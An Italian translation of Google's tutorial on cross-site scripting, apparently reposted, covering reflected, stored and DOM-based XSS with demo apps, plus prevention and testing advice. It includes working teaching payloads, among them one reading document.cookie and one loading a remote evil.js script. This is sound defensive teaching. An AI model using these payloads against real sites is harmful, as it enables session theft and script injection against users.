Cross-Site Scripting – Application Security – Google

Indice

  • Introduzione al cross-site scripting
    • Destinatari
    • Cos’è il cross-site scripting e perché dovrebbe importarmi?
    • Un esempio di base
    • A volte il payload XSS può persistere
    • Il tuo server non sempre vedrà il payload XSS
  • Prevenire XSS
    • Cosa posso fare per prevenire XSS?
    • Usa un sistema di template con auto-escaping context-aware
    • Una nota sull’escape manuale dell’input
    • Comprendi i comportamenti comuni del browser che portano a XSS
    • Impara le best practice per la tua tecnologia
  • Test per XSS
    • Come posso fare test per XSS?
    • Test manuali (“black-box testing”)
    • Revisione del codice (“white-box testing”)
    • Test unitari
    • Web application security scanner
    • Quale metodo di test dovrei usare?

Introduzione al cross-site scripting

Questo documento è destinato a chiunque sviluppi siti web o sia interessato ad argomenti di sicurezza web. Un background in HTML, JavaScript e Document Object Model (DOM) sarebbe utile per alcuni dei dettagli più tecnici.

Non siate malvagi

Questo documento fornisce informazioni che potrebbero essere usate per valutare la sicurezza di un sito web contro le vulnerabilità di cross-site scripting. Non usate ciò che imparate qui per testare (o peggio, attaccare) siti web senza il permesso del proprietario del sito.

Cos’è il cross-site scripting e perché dovrebbe interessarmi?

Il cross-site scripting (XSS) è un bug di sicurezza che può colpire i siti web. Se presente nel tuo sito web, questo bug può permettere a un attaccante di aggiungere il proprio codice JavaScript dannoso sulle pagine HTML mostrate ai tuoi utenti. Una volta eseguito dal browser della vittima, questo codice potrebbe eseguire azioni come cambiare completamente il comportamento o l’aspetto del sito web, rubare dati privati o eseguire azioni per conto dell’utente.

Non preoccupatevi, vi mostreremo cosa significa tutto questo, ma prima di scavare più a fondo, diamo un’occhiata ad alcuni esempi interattivi per vedere come funziona.

Un esempio di base

Le vulnerabilità XSS si verificano più spesso quando l’input dell’utente è incorporato nella risposta di un server web (cioè, una pagina HTML) senza un adeguato escaping o validazione.

Considerate l’applicazione di ricerca qui sotto. Cliccate su “Show demo” per caricare l’applicazione. Questa è un’applicazione demo funzionante, quindi potete interagire con essa – provate a cercare qualcosa. Per vostro riferimento, abbiamo anche incluso il codice sorgente di App Engine – potete visualizzare il codice cliccando su “Click to view application source code” link.

Applicazione demo 1:

URL

Usando l’applicazione demo sopra, cerca test. Questo restituisce il seguente output:

Spiacente, non sono stati trovati risultati per il test. Prova di nuovo.

Ora, cerca <u>test</u>. Notate che “test” è sottolineato nella risposta:

Spiacente, non sono stati trovati risultati per test. Prova di nuovo.

Quindi, senza guardare il codice, sembra che l’applicazione includa il nostro markup HTML nella risposta. Questo è interessante ma non terribilmente pericoloso. Se, tuttavia, l’applicazione ci permette anche di iniettare codice JavaScript, questo sarebbe molto più “interessante”.

Facciamo una prova. Cerca <script>alert('hello')</script>.

Abbiamo trovato un bug XSS!

Avete appena sperimentato un attacco XSS “riflesso”, dove il payload JavaScript (<script>alert('hello')</script>) viene riecheggiato nella pagina restituita dal server.

Se guardate la linea 50 del codice sorgente, vedrete che il messaggio che viene visualizzato nella pagina dei risultati di ricerca è una stringa costruita utilizzando il valore di input query. Questa stringa viene poi passata ad una funzione che rende l’output HTML usando il metodo response.out.write nella linea 37. Il problema è che l’input non è sottoposto a escape prima di essere reso. Parleremo dell’escape più avanti nella sezione “Prevenire gli XSS”.

Nello scenario di cui sopra, un attaccante avrebbe bisogno che la vittima:

  • Visitare una qualsiasi pagina controllata dall’attaccante. Questa pagina potrebbe includere un iframe invisibile che punta al sito vulnerabile agli XSS, insieme ad un payload per sfruttare la vulnerabilità.
  • O clicca su un link URL dell’attaccante. Questo link includerebbe il payload di exploit (nell’esempio sopra, https://xss-doc.appspot.com/demo/2?query=<script>alert(‘ciao’)</script>) e potrebbe anche essere oscurato da un accorciatore di URL.

Vale la pena notare che un payload XSS può essere consegnato in diversi modi; per esempio, potrebbe essere in un parametro di una richiesta HTTP POST, come parte dell’URL, o anche all’interno del cookie del browser web – in pratica, ovunque un utente possa fornire input al sito web.

Tutto questo per generare una fastidiosa finestra pop-up potrebbe sembrare non valere la pena. Sfortunatamente, le vulnerabilità XSS possono risultare in molto più che in avvisi su una pagina (un avviso pop-up è solo un modo conveniente per un attaccante o un ricercatore di rilevare la presenza di un bug XSS). Date un’occhiata al prossimo esempio per uno script più dannoso.

A volte il payload XSS può persistere

Nell’attacco che abbiamo descritto sopra, il server web rimanda subito il payload XSS alla vittima. Ma è anche possibile che il server memorizzi l’input fornito dall’attaccante (il payload XSS) e lo serva alla vittima in un secondo momento. Questo è chiamato un “XSS memorizzato”.

Di seguito illustriamo un esempio di base utilizzando un sito demo di social network. Andate avanti, inserite del testo e condividete il vostro stato nell’applicazione demo qui sotto.

Applicazione demo 2:

Poi, provate questo:

  1. Inserisci <img src=x onerror="alert('Pop-up window via stored XSS');"
  2. Condividi il tuo stato.
  3. Dovresti vedere un avviso pop-up! Vedrai di nuovo l’avviso se aggiorni la pagina o condividi un altro messaggio di stato.

Ora, inserisci <img src=x onerror="alert(document.cookie);" e premi ‘Condividi lo stato!

L’ID di sessione per questa applicazione (uno artificioso che probabilmente è ‘123412341234’) apparirà! Un attaccante potrebbe usare il codice XSS exploit per raccogliere questo ID di sessione, e cercare di impersonare il proprietario dell’account.

Nota: per resettare l’applicazione e sbarazzarsi dei fastidiosi pop-up, clicca sul pulsante “Cancella tutti i messaggi”.

Cos’altro si può fare oltre a far apparire avvisi o rubare ID di sessione? Si può fare praticamente tutto ciò che JavaScript permette. Provate a inserire quanto segue:

<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"

Spaventoso, eh? In questo esempio, un file JavaScript malvagio è stato recuperato e incorporato tramite XSS.

Il vostro server non sempre vedrà il payload XSS

Nei due esempi precedenti, l’input dell’utente è stato inviato al server, e il server ha risposto all’utente visualizzando una pagina che includeva l’input dell’utente. Tuttavia, una vulnerabilità XSS memorizzata o riflessa può verificarsi anche senza il coinvolgimento diretto del server, se i dati forniti dall’utente vengono utilizzati in un’operazione JavaScript non sicura. Cioè, l’XSS può avvenire interamente nel JavaScript e nell’HTML lato client (più specificamente, nel Document Object Model o DOM) senza che i dati vengano inviati avanti e indietro tra il client e il server. Chiamiamo questa sottoclasse di bug “DOM-based XSS” o “DOM XSS” in breve. Una causa comune di bug DOM XSS è l’impostazione del valore innerHTML di un elemento DOM con dati forniti dall’utente.

Date un’occhiata alla seguente applicazione. Utilizza un frammento di URL per determinare quale scheda mostrare.

Applicazione demo 3:

URL

L’applicazione funziona come previsto quando si clicca sulle schede. Tuttavia, è anche possibile aprire un URL come:

https://xss-doc.appspot.com/demo/3#’><img src=x onerror=alert(/DOM-XSS/)>

Puoi copiare e incollare l’URL di cui sopra nella “barra degli URL” nell’applicazione demo qui sopra e cliccare il pulsante “Go”. Dovreste vedere un avviso pop-up.

L’XSS è innescato perché lo script lato client utilizza parte del window.location per impostare il innerHTML di uno degli elementi all’interno della pagina. Quando vai all’URL di cui sopra, la variabile location.hash è impostata su #'><img src=x onerror=alert(/DOM-XSS/)>. Se guardate la linea 33 del codice sorgente di index.html, vedrete che la sottostringa di location.hash (la stringa dopo il carattere #) viene passata come argomento alla funzione chooseTab nella linea 8. chooseTab costruisce un elemento img per incorporare un’immagine utilizzando quanto segue:

html += "<img src='/static/demos/GEECS" + name + ".jpg' />";

L’argomento location.hash substring è usato per impostare il valore di name; questo risulta nel seguente elemento img:

<img src='/static/demos/GEECS'><img src=x onerror=alert(/DOM-XSS/)>.jpg' />

Quanto sopra è HTML valido; tuttavia, il browser non riuscirà a caricare l’immagine e invece eseguirà il codice onerror. Questo elemento img è infine aggiunto al documento tramite innerHTML alla linea 12.

Niente è infallibile

Vi forniamo alcuni suggerimenti su come ridurre al minimo la possibilità che il vostro sito web contenga vulnerabilità XSS. Ma tenete a mente che sia la sicurezza che la tecnologia si evolvono molto rapidamente; quindi, nessuna garanzia–quello che funziona oggi potrebbe non funzionare completamente domani (gli hacker possono essere piuttosto intelligenti).

Cosa posso fare per prevenire gli XSS?

Una tecnica comune per prevenire le vulnerabilità XSS è l'”escaping”. Lo scopo dell’escape di caratteri e stringhe è di assicurarsi che ogni parte di una stringa sia interpretata come una primitiva di stringa, non come un carattere di controllo o un codice.

Per esempio, ‘&lt;‘ è la codifica HTML per il carattere ‘<‘. Se includete:

<script>alert('testing')</script>

nell’HTML di una pagina, lo script verrà eseguito. Ma se includete:

&lt;script&gt;alert('testing')&lt;/script&gt;

nell’HTML di una pagina, verrà stampato il testo “<script>alert(‘testing’)</script>”, ma non eseguirà effettivamente lo script. Facendo l’escape dei tag <script>, abbiamo impedito l’esecuzione dello script. Tecnicamente, quello che abbiamo fatto qui è “codifica” non “escaping”, ma “escaping” trasmette il concetto di base (e vedremo più avanti che nel caso di JavaScript, “escaping” è effettivamente il termine corretto).

Quanto segue può aiutare a minimizzare le possibilità che il vostro sito web contenga vulnerabilità XSS:

  • Utilizzare un sistema di template con auto-escaping context-aware
  • Escludere manualmente l’input dell’utente (se non è possibile utilizzare un sistema di template con auto-escaping context-aware)
  • Comprendere i comportamenti comuni del browser che portano a XSS
  • Apprendere le best practices per la vostra tecnologia

Il resto di questa sezione descrive queste misure in dettaglio.

Usare un sistema di template con auto-escaping consapevole del contesto

Il mezzo più semplice e migliore per proteggere la vostra applicazione e i vostri utenti dai bug XSS è quello di utilizzare un sistema di template web o un framework di sviluppo di applicazioni web che esegua l’auto-escaping dell’output e sia consapevole del contesto.

“Auto-escaping” si riferisce alla capacità di un sistema di template o di un framework di sviluppo web di eseguire automaticamente l’escape dell’input dell’utente al fine di prevenire l’esecuzione di qualsiasi script incorporato nell’input. Se volete prevenire gli XSS senza l’escape automatico, dovrete fare l’escape manuale dell’input; questo significa scrivere il vostro codice personalizzato (o chiamare una funzione di escape) ovunque la vostra applicazione includa dati controllati dall’utente. Nella maggior parte dei casi, l’escape manuale dell’input non è raccomandato; discuteremo l’escape manuale nella prossima sezione.

“Context-aware” si riferisce alla capacità di applicare diverse forme di escape basate sul contesto appropriato. Poiché CSS, HTML, URL e JavaScript usano tutti una sintassi diversa, sono necessarie diverse forme di escape per ogni contesto. Il seguente esempio di template HTML usa le variabili in tutti questi diversi contesti:

<body> <span style="color:{{ USER_COLOR }};"> Hello {{ USERNAME }}, view your <a href="{{ USER_ACCOUNT_URL }}">Account</a>. </span> <script> var id = {{ USER_ID }}; alert("Your user ID is: " + id); </script></body>

Come si può vedere, cercare di fare manualmente l’escape per i vari contesti può essere molto difficile. Potete leggere di più sull’auto-escaping consapevole del contesto qui. Go Templates, Google Web Toolkit (GWT) con SafeHtml, Closure Templates, e CTemplate forniscono tutti l’escape automatico consapevole del contesto in modo che le variabili siano correttamente sottoposte a escape per il contesto della pagina in cui appaiono. Se state usando dei template per generare HTML all’interno di JavaScript (una buona idea!) Closure Templates e Angular forniscono capacità di escape integrate.

Una nota sull’escape manuale dell’input

Scrivere il proprio codice per l’escape dell’input e poi applicarlo correttamente e coerentemente è estremamente difficile. Non raccomandiamo di fare l’escape manuale dei dati forniti dall’utente. Invece, raccomandiamo vivamente di usare un sistema di template o un framework di sviluppo web che fornisca un escape automatico consapevole del contesto. Se questo è impossibile per il tuo sito web, usa librerie e funzioni esistenti che sono note per funzionare, e applica queste funzioni in modo coerente a tutti i dati forniti dall’utente e a tutti i dati che non sono direttamente sotto il tuo controllo.

Comprendere i comportamenti comuni del browser che portano a XSS

Se seguite le pratiche della sezione precedente, potete ridurre il rischio di introdurre bug XSS nelle vostre applicazioni. Ci sono, tuttavia, modi più sottili in cui gli XSS possono emergere. Per mitigare il rischio di questi casi limite, considerate quanto segue:

  • Specificate il corretto Content-Type e charset per tutte le risposte che possono contenere dati utente.
    • Senza tali intestazioni, molti browser cercheranno di determinare automaticamente la risposta appropriata eseguendo lo sniffing del contenuto o del set di caratteri. Questo può permettere all’input esterno di ingannare il browser nell’interpretare parte della risposta come markup HTML, che a sua volta può portare a XSS.
  • Assicuratevi che tutti gli URL forniti dall’utente inizino con un protocollo sicuro.
    • È spesso necessario utilizzare gli URL forniti dagli utenti, per esempio come URL di continuazione per reindirizzare dopo una certa azione, o in un link a una risorsa specificata dall’utente. Se il protocollo dell’URL è controllato dall’utente, il browser può interpretarlo come un URI di scripting (ad esempio javascript:data:, e altri) ed eseguirlo. Per evitare questo, verificate sempre che l’URL inizi con un valore inserito nella lista bianca (di solito solo http:// o https://).
  • Hostate i file caricati dall’utente in un dominio sandboxed.

Impara le migliori pratiche per la tua tecnologia

Le seguenti migliori pratiche possono aiutarti a ridurre le vulnerabilità XSS nel tuo codice per tecnologie specifiche.

  • JavaScript: Molte vulnerabilità XSS sono causate dal passaggio dei dati dell’utente ai sink di esecuzione Javascript; meccanismi del browser che eseguiranno script dal loro input. Tali API includono *.innerHTMLdocument.write e eval(). Quando i dati controllati dall’utente (sotto forma di location.*document.cookie o variabili JavaScript contenenti dati utente) sono restituiti dal server, la chiamata di tali funzioni può portare a XSS.
  • JSON: assicuratevi di applicare l’escaping corretto (incluso l’escaping HTML di caratteri come < e >). Non permettere che i dati forniti dall’utente siano restituiti come prima parte della risposta (come spesso accade in JSONP). Non usare eval() per analizzare i dati.
  • Flash: considerare l’hosting di file SWF in un dominio separato.
  • GWT: Seguire le linee guida nella GWT Developer’s Guide su SafeHtml. In particolare, evitare l’uso di API che interpretano valori semplici digitati come stringhe come HTML e preferire le varianti SafeHtml dove disponibili. Per esempio, preferire HTML#setHTML(SafeHtml) rispetto a HTML#setHTML(String).
  • Sanificazione dell’HTML: Se avete bisogno di supportare markup forniti dall’utente come immagini o link, cercate tecnologie che supportino la sanificazione dell’HTML. Per esempio, Caja include un html-sanitizer scritto in Javascript che può essere usato per rimuovere Javascript potenzialmente eseguibile da un frammento di HTML.

Procedi con cautela

Come con qualsiasi test di sicurezza, ci possono essere effetti collaterali non voluti. Non ci assumiamo alcuna responsabilità per l’uso che farete della conoscenza che otterrete qui (con il potere viene la responsabilità); quindi, usate queste informazioni a vostro rischio e pericolo.

Come posso testare gli XSS?

Non esiste una pallottola d’argento per rilevare XSS nelle applicazioni. Il modo migliore per testare i bug XSS è attraverso una combinazione di:

  • test manuali,
  • scrittura di test unitari per verificare il corretto escape o sanitizzazione nelle parti cruciali della tua applicazione, e
  • utilizzando strumenti automatici.

Questa sezione descriverà e farà raccomandazioni per ogni strategia.

Test manuali (“black-box testing”)

XSS è un rischio ovunque la vostra applicazione gestisca l’input dell’utente.

Per i migliori risultati, configurate il vostro browser per utilizzare un proxy che intercetti e analizzi il traffico per aiutare a identificare i problemi. Strumenti di esempio sono Burp Proxy e ratproxy.

Eseguite questi test di base sulla vostra applicazione:

  • Interagite con la vostra applicazione. Inserite stringhe che contengono metacaratteri HTML e JavaScript in tutti gli input dell’applicazione, come moduli, parametri URL, campi nascosti(!), o valori dei cookie.
  • Una buona stringa di test è >'>"><img src=x onerror=alert(0)>.
  • Se la vostra applicazione non esegue correttamente l’escape di questa stringa, vedrete un avviso e saprete che qualcosa è andato storto.
  • Dove la vostra applicazione gestisce gli URL forniti dall’utente, inserite javascript:alert(0) o data:text/html,<script>alert(0)</script>.
  • Creare un profilo utente di prova con dati simili alle stringhe di prova di cui sopra. Usate questo profilo per interagire con la vostra applicazione. Questo può aiutare a identificare i bug XSS memorizzati.

Revisione del codice (“white-box testing”)

Chiedete ad un collega o amico di rivedere il vostro codice con occhi nuovi (e offritevi di restituire il favore!). Chiedetegli di cercare specificamente le vulnerabilità XSS e indicategli questo documento, se può essere utile.

Test unitari

Usate i test unitari per assicurarvi che un particolare bit di dati sia correttamente evaso. Anche se non è sempre fattibile testare unitariamente ogni luogo in cui i dati forniti dall’utente vengono visualizzati, si dovrebbe come minimo scrivere dei test unitari per ogni codice leggermente fuori dall’ordinario per assicurarsi che il risultato soddisfi le proprie aspettative. Questo include posti dove:

  • Il markup che include l’input dell’utente viene generato nel codice – verificate che ogni input non attendibile sia evaso o rimosso.
  • La tua applicazione reindirizza a URL esterni – assicurati che l’URL inizi con http:// o https://.
  • Utilizzi un sanitizzatore o uno stripper HTML per rimuovere i tag dal markup – verifica che ogni markup non supportato sia sotto escape.

Inoltre, ogni volta che trovate e correggete un bug XSS nel vostro codice, considerate di aggiungere un test di regressione per esso.

Scanner di sicurezza delle applicazioni web

È possibile utilizzare un software di scansione della sicurezza per identificare le vulnerabilità XSS all’interno delle applicazioni. Mentre gli scanner automatici spesso non sono ottimizzati per la vostra particolare applicazione, vi permettono di trovare rapidamente e facilmente le vulnerabilità più ovvie. Skipfish è uno di questi strumenti.

Quale metodo di test dovrei usare?

Beh, per essere onesti, quanti più possibile (che tipo di risposta ti aspettavi da quelli della sicurezza?). Nessuna metodologia di test è infallibile; quindi, l’esecuzione di una combinazione di revisioni del codice e di test manuali e automatici, diminuirà le probabilità di una vulnerabilità XSS nella vostra applicazione.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *